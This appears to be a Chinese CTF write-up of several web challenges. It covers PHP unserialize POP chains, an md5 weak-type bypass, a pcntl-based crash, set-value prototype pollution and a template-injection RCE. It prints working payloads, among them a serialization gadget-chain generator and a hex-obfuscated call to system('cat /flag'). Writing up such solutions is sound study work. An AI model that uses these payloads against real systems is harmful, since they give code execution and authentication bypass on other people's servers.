划水的国赛Web
babyunserialize
www.zip源码泄露
参考 http://blog.ccreater.top/ wmctf 2020 webweb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php namespace DB{ abstract class Cursor implements \IteratorAggregate {} } namespace DB\SQL{ class Mapper extends \DB\Cursor{ protected $props=["quotekey"=>"call_user_func"], $adhoc=["phpinfo"=>["expr"=>""]], $db; function offsetExists($offset){} function offsetGet($offset){} function offsetSet($offset, $value){} function offsetUnset($offset){} function getIterator(){} function __construct($val){ $this->db = $val; } } } namespace CLI{ class Agent { protected $server=""; public $events; public function __construct(){ $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")]; $this->server=&$this; } }; class WS{} } namespace { echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent()))); }
|
easyphp
迭代使用call_user_func调用pcntl函数致使异常
1
| http://eci-2zed3ztpomt9kf7xbbng.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_wait
|
easytrick
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class trick{ public $trick1; public $trick2; public function __destruct(){ $this->trick1 = (string)$this->trick1; if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ die("你太长了"); } if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ echo file_get_contents("/flag"); } } } highlight_file(__FILE__); unserialize($_GET['trick']);
|
弱类型判断绕过
1
| O:5:"trick":2:{s:6:"trick1";i:1;s:6:"trick2";d:0.9999999999999999;}
|
littlegame
查看packge.json,发现set-value存在原型链污染 https://www.anquanke.com/vul/id/1715582
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| { "name": "littlegame", "version": "1.0.0", "private": true, "scripts": { "start": "node ./bin/www" }, "dependencies": { "cookie-parser": "~1.4.4", "debug": "~2.6.9", "express": "~4.16.1", "express-session": "^1.17.1", "morgan": "~1.9.1", "set-value": "^3.0.0" } }
|
在index.js找到flag接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| const Admin = { "password1":process.env.p1, "password2":process.env.p2, "password3":process.env.p3 } ... router.post("/DeveloperControlPanel", function (req, res, next) { if (req.body.key === undefined || req.body.password === undefined){ res.send("What's your problem?"); }else { let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag); }else { res.send("Wrong password!Are you Admin?"); } } }); ... router.post("/Privilege", function (req, res, next) { if(req.session.knight === undefined){ res.redirect('/SpawnPoint'); }else{ if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) { res.send("What's your problem?"); }else { let key = req.body.NewAttributeKey.toString(); let value = req.body.NewAttributeValue.toString(); setFn(req.session.knight, key, value); res.send("Let's have a check!"); } } });
|
构造如下exp:
1 2 3 4 5
| http://eci-2ze2t1c804gx9bfude7s.cloudeci1.ichunqiu.com:8888/Privilege POST NewAttributeKey=__proto__.password4&NewAttributeValue=tyao
http://eci-2ze2t1c804gx9bfude7s.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel POST key=password4&password=tyao
|
rceme
参考https://blog.csdn.net/qq_45708109/article/details/107645816
可以绕过的函数有很多,这里使用hex2bin
1 2 3 4
| ?a={if:var_dump((hex2bin(%27706870696e666f%27))())}Tyao{end%20if}
?a={if:var_dump(((hex2bin(%2773797374656d%27))(%27cat%20/flag%27)))}Tyao{end%20if}
|